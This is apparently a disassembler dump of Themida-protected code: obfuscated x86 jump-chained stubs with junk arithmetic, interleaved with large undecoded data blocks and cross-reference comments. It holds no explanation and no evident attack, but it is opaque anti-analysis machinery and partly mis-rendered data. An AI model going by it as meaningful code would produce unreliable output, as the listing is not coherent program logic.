byte_55B51F	db 66h			; DATA XREF: Themida_:00552AA8o
		dd 6824048Bh, 4123h, 89240489h,	405E0h,	0B3E90000h, 31FFFF7Ah
		dd 80E9242Ch, 83FFFF93h, 5F042404h, 64F2B850h, 0B935198Dh
		dd 48131361h, 0F707E0C1h, 344235D8h, 0BF5749E8h, 8940A39h
		dd 7C09F781h, 814763B2h, 1547A1EFh, 81E7D137h, 37321EF7h
		dd 7C7A2D91h, 0F8295D02h, 27C7A05h, 0A5BFE95Dh,	0F001FFFFh
		dd 8324348Bh, 348B04C4h, 76BEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B596:				; CODE XREF: Themida_:0056386Dj
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_562731
; ---------------------------------------------------------------------------


loc_55B5A3:				; CODE XREF: Themida_:0055C7F6j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_562D68
; ---------------------------------------------------------------------------


loc_55B5BD:				; CODE XREF: Themida_:00561AD6j
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF76FFh
; ---------------------------------------------------------------------------


loc_55B5C4:				; CODE XREF: Themida_:0056735Bj
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55949C
; ---------------------------------------------------------------------------
		dd 241C8B5Fh, 0FFA32EE9h, 4B8FFh, 0C2810000h, 3D0139FDh
		dd 0EA81C201h, 3D0139FDh, 0FF8DF0E9h, 0ADE95BFFh, 81FFFF99h
		dd 60828F3h, 0C8CB811Dh, 0C1495122h, 0EB8104E3h, 0B5727FECh
		dd 7F2EC281h, 0DA011E52h, 7F2EEA81h, 815B1E52h,	4EAh, 3DD3E900h
		dd 0CA010000h, 7951B951h, 0BF5772A2h, 72B61F6Ch, 0C15FF901h
		dd 1FE905E1h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B63F:				; CODE XREF: Themida_:00562FEFj
		shl	edx, 7
		inc	edx
		sub	edx, 28E92002h
		sub	eax, edx
		pop	edx
		jmp	loc_5552F0
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 6624248Bh, 6866E9F7h, 89663288h, 50662414h, 7659E99Ch
		db 2 dup(0FFh)
word_55B66A	dw 77FFh		; DATA XREF: Themida_:00552B40o
		dd 19589D1Ch, 0E99C2404h, 0FFFFAA3Fh, 5FFA295Eh, 15B9E9h
		dd 4C68100h, 50000000h,	0FFF0EBE9h, 242C89FFh, 9B15F168h
		dd 0F5815D68h, 1D847C2Eh, 0FFB616E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B6A1:				; CODE XREF: Themida_:00557030j
		pop	esi
		sub	esp, 4
		jmp	loc_556382
; ---------------------------------------------------------------------------
		dw 0F180h
		dd 59CA2886h, 805FCA80h, 0F280BACAh, 5AD42873h,	48BE288h
		dd 8EE95224h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B6C7:				; CODE XREF: Themida_:0055C661j
		add	[esp+8], ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 76F47C8Fh
		sub	[esp+8], eax
		pop	eax
		add	dword ptr [esp+4], 474377Fh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55EC2A
; ---------------------------------------------------------------------------


loc_55B6F0:				; CODE XREF: Themida_:0055E0F9j
		mov	eax, 3680033Ah
		sub	eax, 0A77216Ah
		neg	eax
		xor	eax, 91D35F89h
		or	ebp, eax
		pop	eax
		jmp	loc_553F23
; ---------------------------------------------------------------------------


loc_55B709:				; CODE XREF: Themida_:0055F1C5j
		mov	cl, bl
		push	edx
		jmp	loc_562B5D
; ---------------------------------------------------------------------------
		db 1, 0C6h, 0E9h
		dd 0B466h, 88BCE950h, 14870000h, 7EF5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B726:				; CODE XREF: Themida_:005531C8j
		push	dx
		push	ebx
		push	ecx
		jmp	loc_55FA60
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5D00100h, 72B87AF0h, 5A2434FFh, 4EC81h, 1C890000h
		dd 469AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B74E:				; CODE XREF: Themida_:00561537j
		add	esp, 4
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		db 2Dh,	62h, 48h
		dd 7C057AD7h, 5754540h,	11E762C8h, 0C82DD801h, 6811E762h
		dd 7ED4h, 0BA241489h, 7B2679D7h, 30F28142h, 81254606h
		dd 0E4C094C2h, 1D9F2D16h, 0A5E95342h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B793:				; CODE XREF: Themida_:00566B79j
		mov	edx, [esp]
		add	esp, 4
		neg	edi
		add	edi, 8B328F52h
		jmp	loc_55C572
; ---------------------------------------------------------------------------


loc_55B7A6:				; CODE XREF: Themida_:0055CF32j
		bt	[esp], ax
		pushf
		jmp	loc_552CC3
; ---------------------------------------------------------------------------


loc_55B7B1:				; CODE XREF: Themida_:00567720j
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5627E1
; ---------------------------------------------------------------------------
		db 0B9h, 40h, 2Fh
		dd 0E9571930h, 60Fh
; ---------------------------------------------------------------------------


loc_55B7C8:				; CODE XREF: Themida_:00563860j
		add	esp, 4
		jmp	loc_554C8B
; ---------------------------------------------------------------------------


loc_55B7D3:				; CODE XREF: Themida_:0056079Dj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_56532B
; ---------------------------------------------------------------------------


loc_55B7DD:				; CODE XREF: Themida_:00566F24j
		add	eax, 39DB3925h
		add	eax, ebx
		sub	eax, 39DB3925h
		pop	ebx
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, edi
		mov	ebx, ecx
		pop	ecx
		pop	edi
		push	edi
		mov	edi, ebx
		mov	edx, edi
		pop	edi
		pop	ebx
		jmp	loc_566B07
; ---------------------------------------------------------------------------
		dd 240C8B66h, 57E28952h, 0E904EC83h, 0FFFFE85Fh, 0DFF7475Ah
		dd 0C102E7C1h, 0C78108EFh, 0AFA34A1Ch, 58BAEB81h, 0FB293D8Bh
		dd 58BAC381h, 3C8B3D8Bh, 4C48324h, 6DE9D831h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B843:				; CODE XREF: Themida_:0055349Cj
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, 7BFD2285h
		jmp	loc_5602C4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 0D5C4E900h, 0EC83FFFFh, 242C8904h, 0D45297BDh
		dd 0E9565547h, 1720h
; ---------------------------------------------------------------------------


loc_55B870:				; CODE XREF: Themida_:0055C516j
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_56267A
; ---------------------------------------------------------------------------
		dd 523BACB9h, 1F48E971h, 0C870000h, 5DE95C24h, 0F7000040h
		dd 0C3814BDBh, 0E29DBB45h, 815BDE29h, 0BF5BBFEEh, 77E3E924h
		dd 0D629FFFFh, 515EF287h, 0D279EB9h, 0FA5CE944h, 0BB9FFFFh
		dd 8127BEA9h, 51D94C3h,	0E0EB8155h, 14F481Eh, 0E0C381CBh
		dd 814F481Eh, 51D94EBh,	79AFE955h, 0F2810000h, 0C0B7CAFDh
		dd 565AD601h, 42474FFh,	5E2434FFh, 8F04C483h, 815C2404h
		dd 4C2h, 0BD555000h, 12463B79h,	0E117D0B8h, 5DE80127h
		dd 27534B35h, 58C2013Ah, 86D2E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B916:				; CODE XREF: Themida_:0055C90Aj
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_561857
; ---------------------------------------------------------------------------


loc_55B925:				; CODE XREF: Themida_:0055ED45j
		shl	edi, 8
		add	edi, 3D986790h
		add	edi, 253F6986h
		jmp	loc_56455F
; ---------------------------------------------------------------------------
		db 1, 0EBh, 5Dh
		dd 8704C383h, 248B241Ch, 2434FF24h, 56240C8Bh, 0C681E689h
		dd 4, 4C681h, 34870000h, 0F9685C24h, 8900006Ah,	7268241Ch
		dd 0E9000071h, 15D2h, 66242C86h, 8324048Bh, 18E902C4h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B97F:				; CODE XREF: Themida_:00564EF2j
		xchg	ecx, [esp]
		jmp	loc_564B72
; ---------------------------------------------------------------------------
		db 1
		dd 0FF575DEFh, 5F042474h, 5C24048Fh, 0FF732AE9h, 402FB9FFh
		dd 0CF013366h, 57E7D159h, 8B2414F7h, 0C481243Ch, 4, 68h
		dd 0D59E900h, 0CFB90000h, 0E93D685Fh, 43CAh
; ---------------------------------------------------------------------------


loc_55B9C4:				; CODE XREF: Themida_:00562189j
		pop	ebp
		add	esp, 4
		jmp	loc_557A8E
; ---------------------------------------------------------------------------
		dd 4BFh, 23E95200h, 0C1FFFFDCh,	555307E0h, 0B78D3BDh, 0D20EBB20h
		dd 0EB292D21h, 81DBF75Dh, 34360BEBh, 81E3D171h,	0FFFFFFC3h
		dd 0DEB951FFh, 0E96B5B51h, 0FFFF9B5Ch, 8904C483h, 75685BD8h
		dd 8900002Dh, 0D7BA2414h, 68688665h, 3023h, 7B1AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BA25:				; CODE XREF: Themida_:0055D435j
		mov	eax, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_554DCA
; ---------------------------------------------------------------------------
		db 81h
		dd 7082444h, 0E976C407h, 0FFFF9577h, 0E9240489h, 0FFFF8147h
		dd 8077C980h, 0E98001C1h, 6E98064h, 85EE980h, 240C8BCAh
		dd 8004C483h, 21E979C2h, 81FFFF89h, 0D74079CDh,	0E3F58100h
		dd 0F760B60Ch, 0A1CD81DDh, 817CD95Dh, 0E00FF7EDh, 5DEF2943h
		dd 1770E981h, 0C181007Ch, 2BE25ED0h, 0E981F901h, 2BE25ED0h
		dd 36E95352h, 87FFFF95h, 0E95C2414h, 0AA8Dh, 0FF6C781h
		dd 0BB536116h, 10EF165Ch, 3E37E9h, 30C56800h, 73E90000h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BAC7:				; CODE XREF: Themida_:0055D988j
		push	cx
		jmp	loc_565A6B
; ---------------------------------------------------------------------------


loc_55BACE:				; CODE XREF: Themida_:0055515Aj
		not	ebp
		jmp	loc_5679A1
; ---------------------------------------------------------------------------
		db 31h,	0F2h, 5Eh
		dd 32ABF281h, 0B951F61Bh, 2B2C5F3Dh, 30E9D9F7h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BAEB:				; CODE XREF: Themida_:005561E2j
		add	ebp, edi
		pop	edi
		jmp	loc_559684
; ---------------------------------------------------------------------------
		db 0BAh
		dd 55E40037h, 3843C281h, 56427DFDh, 2E31A4BEh, 913CE90Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BB0A:				; CODE XREF: Themida_:00564B39j
		mov	bl, 0D0h
		push	3D13h
		mov	[esp], edx
		mov	dl, bl
		jmp	loc_5587C8
; ---------------------------------------------------------------------------


loc_55BB1B:				; CODE XREF: Themida_:00553865j
		add	esi, 12232D26h
		pop	ebp
		mov	ecx, 677628CDh
		sub	ecx, esi
		jmp	loc_56570C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 88E95B24h, 0B9FFFF87h, 0FDE24FBh, 528BE9h, 5E3C000h
		dd 0FF916EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BB49:				; CODE XREF: Themida_:00557A7Bj
		pop	edx
		add	esp, 4
		pop	dword ptr [edi+24h]
		jmp	loc_563748
; ---------------------------------------------------------------------------
		dd 0ABC6E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB5E:				; CODE XREF: Themida_:00567792j
		push	3F4Bh
		mov	[esp], ebx
		jmp	loc_555E95
; ---------------------------------------------------------------------------
		db 43h
		dd 4E9DBF7h, 5D000078h,	0FF7FD0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BB79:				; CODE XREF: Themida_:00560CABj
		push	ecx
		mov	ecx, 3D0A6922h
		jmp	loc_565BCF
; ---------------------------------------------------------------------------


loc_55BB84:				; CODE XREF: Themida_:0055D22Cj
		mov	ecx, 75981D68h
		neg	ecx
		not	ecx
		not	ecx
		inc	ecx
		xor	ecx, 27E40045h
		add	ecx, 527C1D28h
		jmp	loc_5655A0
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0CDh
		dd 2434FF59h, 4C4835Eh,	8B242C87h, 8B662424h, 5F682404h
		dd 89000023h, 0E6892434h, 7E9768h, 240C8900h, 834128B9h
		dd 0E6895650h, 4C681h, 8DE90000h, 81FFFF84h, 0F1871DEBh
		dd 0E9DA8980h, 0FFFF905Eh, 5C9FE950h, 0D8280000h, 0DEE9932Ch
		dd 2C00005Dh, 9755E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BBFE:				; CODE XREF: Themida_:0055C8CBj
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_556128
; ---------------------------------------------------------------------------
word_55BC0A	dw 8B66h		; DATA XREF: Themida_:00552AACo
		dd 0E9240Ch, 870000B4h,	895C2434h, 0C1BA2414h, 0E937BE62h
		dd 0FFFF8D16h, 4077BF57h, 0F8292DAAh, 4875E5Fh,	24248B24h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 0BE243489h, 786539C2h
		dd 4247401h, 5E2434FFh,	4364E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BC59:				; CODE XREF: Themida_:00557858j
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 69F3481Fh
		jmp	loc_5675D4
; ---------------------------------------------------------------------------


loc_55BC6C:				; CODE XREF: Themida_:0055E301j
		sub	esp, 4
		jmp	loc_55C0E8
; ---------------------------------------------------------------------------


loc_55BC74:				; CODE XREF: Themida_:00557483j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55EDE9
; ---------------------------------------------------------------------------
		dd 18CCC181h, 0CB29CCA2h, 0FFEB8359h, 71A1E381h, 0C381202Eh
		dd 28ED8E7Fh, 895BDA01h, 0BA525AD7h, 295051Ah, 0B4F2814Ah
		dd 213E5D13h, 0DFF75AD7h, 0FFFFEF81h, 0E950FFFFh, 8C94h
		dd 8124048Fh, 42404h, 33E90000h, 51000028h, 42E90BB5h
		dd 31FFFFDFh, 1C33241Ch, 0EAE95C24h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BCE7:				; CODE XREF: Themida_:00557CEBj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_558037
; ---------------------------------------------------------------------------
		dw 0ECD0h
		dd 80DCCC80h, 0C480EECCh, 0E68852F5h, 585AF788h, 0FA3010B2h
		dd 0E9E6B35Bh, 1C6Dh, 642723BFh, 5FF90166h, 55FAF181h
		dd 0EC834B69h, 242C8904h, 0DCB2B8BDh, 28CEE97Ch, 68660000h
		dd 89667626h, 97E92404h, 83000043h, 0B85004C4h,	61512C92h
		dd 0E70F6635h, 0E9554818h, 0FFFFBF2Bh
; ---------------------------------------------------------------------------


loc_55BD60:				; CODE XREF: Themida_:0055335Dj
		pop	esp
		xor	ah, bh
		jmp	loc_55CA54
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFFAA24h, 4244401h, 0FFE99DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BD79:				; CODE XREF: Themida_:00556042j
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		jmp	loc_5660D0
; ---------------------------------------------------------------------------


loc_55BD90:				; CODE XREF: Themida_:005663CDj
		xor	edi, ecx
		xchg	edi, ebp
		push	edx
		push	ecx
		mov	ecx, 4B362ED9h
		mov	edx, 76F88B96h
		sub	edx, ecx
		pop	ecx
		add	edx, 5261CE7Bh
		add	ebp, 4E020F74h
		jmp	loc_555800
; ---------------------------------------------------------------------------


loc_55BDB4:				; CODE XREF: Themida_:00562326j
		pop	esi
		xor	ecx, 0F36CCF10h
		add	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_55324A
; ---------------------------------------------------------------------------


loc_55BDC5:				; CODE XREF: Themida_:00560382j
		add	ebx, 4
		jmp	loc_55862D
; ---------------------------------------------------------------------------
		db 68h,	21h, 0Dh
		dd 82E912C9h, 0BF000054h, 543669FBh, 0FFB3CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BDE1:				; CODE XREF: Themida_:005582CCj
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55DA8D
; ---------------------------------------------------------------------------
		db 81h
		dd 0F06D17EEh, 0ECEE817Eh, 815A6622h, 92313CC6h, 0DFC68105h
		dd 5248CD00h, 85E9E289h, 81FFFFAEh, 4C5h, 4C58300h, 5C242C87h
		dd 7E8868h, 813CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BE32:				; CODE XREF: Themida_:0056765Bj
		mov	ebx, [esp]
		push	7E46h
		jmp	loc_55AA8F
; ---------------------------------------------------------------------------


loc_55BE3F:				; CODE XREF: Themida_:00564085j
		mov	ebx, 793C10A9h
		mov	eax, ebx
		pop	ebx
		shr	eax, 1
		add	eax, 19DE5575h
		neg	eax
		and	eax, 0A591334h
		or	eax, 41F13AEBh
		add	eax, 0F244D793h
		jmp	loc_56480F
; ---------------------------------------------------------------------------
		dd 4C481h, 0E95F0000h, 3C31h
dword_55BE70	dd 240C8B66h, 49D5E956h, 9F050000h, 0E96A4159h,	0FFFF971Bh
					; DATA XREF: Themida_:00552B84o
; ---------------------------------------------------------------------------


loc_55BE84:				; CODE XREF: Themida_:00565E3Ej
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_564142
; ---------------------------------------------------------------------------


loc_55BE90:				; CODE XREF: Themida_:0055D362j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55FF82
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_561D64
; ---------------------------------------------------------------------------


loc_55BEC6:				; CODE XREF: Themida_:00555D29j
		add	edi, 102138Dh
		jmp	loc_558C31
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0ECh
		dd 1FFFF6Dh, 9DC581F5h,	0E90EE009h, 763Ch, 66347CB0h, 0E907E8C0h
		dd 0FFFFB577h
dword_55BEF0	dd 9D1C77FFh, 4185866h,	0C4E99C24h ; DATA XREF:	Themida_:00552A50o
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BEFF:				; CODE XREF: Themida_:00565A40j
		xor	bl, dh
		pop	dx
		shr	bl, 5
		dec	bl
		push	ax
		mov	al, 0FFh
		add	bl, al
		pop	ax
		push	edx
		mov	dh, 2Ch
		xchg	bl, dh
		dec	bl
		push	cx
		mov	ch, bl
		jmp	loc_55820E
; ---------------------------------------------------------------------------
		dd 53242489h, 4BBh, 245C0100h, 5585B04h, 4, 0FF7613E9h
		dd 2E6C1FFh, 0E9D6F74Eh, 0FFFF93A6h
; ---------------------------------------------------------------------------


loc_55BF44:				; CODE XREF: Themida_:005565CEj
		pop	edx
		mov	ebx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_565410
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0BE56243Ch, 1BA16B11h, 0C30974BFh, 5EF7314Eh, 5EBBCF81h
		dd 895239A8h, 4C281E2h,	83000000h, 148704EAh, 34895C24h
		dd 2BE0E924h, 0C7830000h, 0E9EFD1FFh, 5EC9h, 0EC34DDB0h
		dd 5F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BF95:				; CODE XREF: Themida_:00552DC8j
		pop	esi
		jmp	loc_55575E
; ---------------------------------------------------------------------------


loc_55BF9B:				; CODE XREF: Themida_:00564821j
		add	esp, 4
		push	edi
		push	esi
		mov	esi, 1CD02C44h
		jmp	loc_560B1E
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFF7146h, 5704C483h, 76B568h, 24148900h, 0AA7AC0BAh
		dd 44C28161h, 899E5585h, 6EE95AD7h, 81FFFFB6h, 2C4h, 0EDEB8000h
		dd 0A1E9C300h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BFDF:				; CODE XREF: Themida_:0056726Cj
		push	ecx
		mov	ecx, 4
		mov	eax, ecx
		pop	ecx
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mul	ecx
		push	6AD9h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		dd 0FE9D589h, 830000B3h, 3C8904ECh, 7D9CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C01E:				; CODE XREF: Themida_:00560A03j
		xor	dh, 56h
		sub	bl, dh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_559D12
; ---------------------------------------------------------------------------
		dd 0CEFE09B6h, 0E9F8CE80h, 0FFFFB35Eh
; ---------------------------------------------------------------------------


loc_55C038:				; CODE XREF: Themida_:00565782j
		add	edi, 0E8AB2ABFh
		mov	edx, edi
		pop	edi
		jmp	loc_55FDEE
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0EC815C24h, 4, 0B8240489h, 4, 5976EA81h, 0C2291D49h
		dd 75D2E9h, 242C8B00h, 8704C483h, 0E95C241Ch, 0FFFFF2F3h
		dd 4B951h, 0B8E90000h, 89000074h, 0E2E92414h, 830000AEh
		dd 0ED8104C4h, 0C815FC57h, 0FFDB35E9h, 240C89FFh, 5E476852h
		dd 0E95A33B4h, 0FFFFBFA4h, 5E2434FFh, 81E28952h, 4C2h
		dd 78A9E900h, 0E789FFFFh, 4C781h, 0FEE90000h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C0C3:				; CODE XREF: Themida_:00562447j
		add	edx, esi
		pop	esi
		inc	edx
		push	3526h
		mov	[esp], ebx
		mov	ebx, 1DA81534h
		inc	ebx
		sub	ebx, 53AE6E34h
		jmp	loc_55AD8E
; ---------------------------------------------------------------------------
		dd 0E905CC80h, 0FFFFD06Ch
; ---------------------------------------------------------------------------


loc_55C0E8:				; CODE XREF: Themida_:0055BC6Fj
		mov	[esp], eax
		push	esp
		jmp	loc_55C70D
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0Eh
		dd 8900000Dh, 0D3015DEAh, 8124148Bh, 4C4h, 4BD5500h, 81000000h
		dd 0D134B9EBh, 81EB016Ch, 0D134B9C3h, 1C335D6Ch, 241C3124h
		dd 7641E9h, 8B5A5100h, 5768240Ch, 89000003h, 5D54242Ch
		dd 4C581h, 0BA520000h, 4, 0E95AD501h, 16A0h, 0FC10D2BEh
		dd 976BE941h, 6CE90000h, 88FFFF6Bh, 9430E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C15E:				; CODE XREF: Themida_:005573A3j
		xor	ebx, [esp]
		pop	esp
		jmp	loc_55D896
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 61B9E900h, 34890000h, 4EC8324h, 0E9242489h, 9AFBh
		dd 0E9240CFFh, 5146h
; ---------------------------------------------------------------------------


loc_55C188:				; CODE XREF: Themida_:0055DA8Fj
		and	edx, 37543DF6h
		neg	edx
		push	edi
		mov	edi, 0DE05C6CCh
		jmp	loc_559708
; ---------------------------------------------------------------------------


loc_55C19B:				; CODE XREF: Themida_:00554050j
		push	ecx
		jmp	loc_5635E3
; ---------------------------------------------------------------------------
		db 66h,	68h, 37h
		dd 0D0F4E95Dh, 2C89FFFFh, 0BA525024h, 0A0D5477h, 8D16E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C1B9:				; CODE XREF: Themida_:00561096j
		dec	ecx
		xor	ecx, 7404755Ch
		inc	ecx
		jmp	loc_5642E9
; ---------------------------------------------------------------------------


loc_55C1C6:				; CODE XREF: Themida_:00554519j
		shr	ebp, 3
		not	ebp
		add	ebp, 17CE45A6h
		add	ecx, ebp
		jmp	loc_55D5F2
; ---------------------------------------------------------------------------
		dd 15FFB01h, 7C6FE9D8h
		db 2 dup(0)
word_55C1E2	dw 28Fh			; DATA XREF: Themida_:00552BC8o
		dd 0FF6ADAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C1E9:				; CODE XREF: Themida_:0055DC1Cj
		sub	esp, 4
		jmp	loc_553E5C
; ---------------------------------------------------------------------------
		dd 66FA2858h, 0E9241C8Bh, 5F57h, 49A8E381h, 0E3814349h
		dd 628777AAh, 0FE7CC381h, 0DE01BFFEh, 81241C8Bh, 4C4h
		dd 0F89BE900h, 0C483FFFFh, 0C3EA8104h, 810F2C5Eh, 2AA555EAh
		dd 0D28FE90Ch, 0B753FFFFh, 0FFEF8038h, 5065F780h, 0C588F888h
		dd 241C8B58h, 4C481h, 53500000h, 0D88870B3h, 0FFD70FE9h
		dd 3AEE81FFh, 291AD11Eh, 1365E9D6h, 0C1810000h,	57B56020h
		dd 3E76BF57h, 0CF814858h, 31365CD5h, 82DCC781h,	0E981D607h
		dd 2B823C6h, 0A286E9h, 7376800h, 2C890000h, 92376824h
		dd 2C8B2FB3h, 17C46824h, 2C890000h, 53E58924h, 0C31A9FBBh
		dd 4B08E96Ah, 0EB890000h, 0FFB27FE9h, 4C283FFh,	2474FF52h
		dd 0A6E95A04h, 5AFFFFECh, 1B2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C2C9:				; CODE XREF: Themida_:0055D9CAj
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_557B75
		push	dword ptr [edi+1Ch]
		push	4BF6h
		mov	[esp], ebp
		mov	ebp, 64301DA6h
		sub	dword ptr [esp+4], 3B9454C9h
		sub	[esp+4], ebp
		push	eax
		mov	eax, 3B9454C9h
		add	[esp+8], eax
		pop	eax
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 24F21AEDh
		jmp	loc_55DBCF
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4ECh, 24048900h, 7C1FE9h,	0E9506600h, 0FFFF7A0Fh
		dd 0E9243487h, 2269h, 0E9240C89h, 9DD0h, 0BEh, 0C5EE8100h
		dd 291E1707h, 0C5C681DEh, 0E91E1707h, 0FFFF87FAh
dword_55C358	dd 24048B66h, 745568h, 24348900h, 8904EC83h, 42E92424h
					; DATA XREF: Themida_:005529E0o
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C36F:				; CODE XREF: Themida_:00561958j
		xor	eax, 847F09B9h
		jmp	loc_5548B7
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0E9560000h, 0FFFFDE65h, 8324348Bh, 2C3304C4h
		dd 242C3124h, 8B242C33h, 24E92424h, 5EFFFF69h, 0FF8226E9h
		dd 2434FFFFh, 81242C8Bh, 4C4h, 2DC9E900h, 0FF520000h, 5A042474h
		dd 519DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C3C1:				; CODE XREF: Themida_:0055D14Aj
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_565455
; ---------------------------------------------------------------------------
		dd 3DF6814Eh, 8108642Dh, 0F62C5CF6h, 4EC817Eh, 89000000h
		dd 52B82404h, 52DB935h,	553E2AD2h, 6486E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C3F1:				; CODE XREF: Themida_:005621ECj
		add	esp, 4
		push	edi
		push	edx
		mov	edx, 36501670h
		mov	edi, edx
		pop	edx
		push	342Fh
		mov	[esp], esi
		mov	esi, 3F74618Eh
		add	edi, esi
		pop	esi
		dec	edi
		xor	edi, 53F61470h
		jmp	loc_55CA34
; ---------------------------------------------------------------------------
aOso5		db 'OИo5',0
		dw 5F00h
		dd 1EF8359h, 66F2B850h,	0C70939CDh, 42BD5558h, 4D177E3Eh
		dd 0D9E9D587h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C43F:				; CODE XREF: Themida_:005663F0j
		pop	edi
		jmp	loc_5656D4
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 2Fh
		dd 81FFFFFAh, 9E640CC2h, 243C8B4Bh, 5004C483h, 8F7A14B8h
		dd 7A10350Fh, 0C2010F8Fh, 3BD3E958h
		db 2 dup(0)
word_55C46A	dw 8B66h		; DATA XREF: Themida_:005529F0o
		dd 5568240Ch, 8900000Eh, 0B3E9240Ch, 530000AEh,	837E77BBh
		dd 0F4EB8104h, 6832595Fh, 49A6h, 0F7241C89h, 835B2414h
		dd 0E952FFEBh, 3380h, 4C781h, 56E90000h, 81FFFFC4h, 4ECh
		dd 1D4BE900h, 4830000h,	0C8B0424h, 4C48124h, 81000000h
		dd 4ECh, 242C8900h, 24A6857h, 835F76DBh, 814FFFEFh, 8742F9EFh
		dd 2CD4E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C4DE:				; CODE XREF: Themida_:005578DDj
		pop	esi
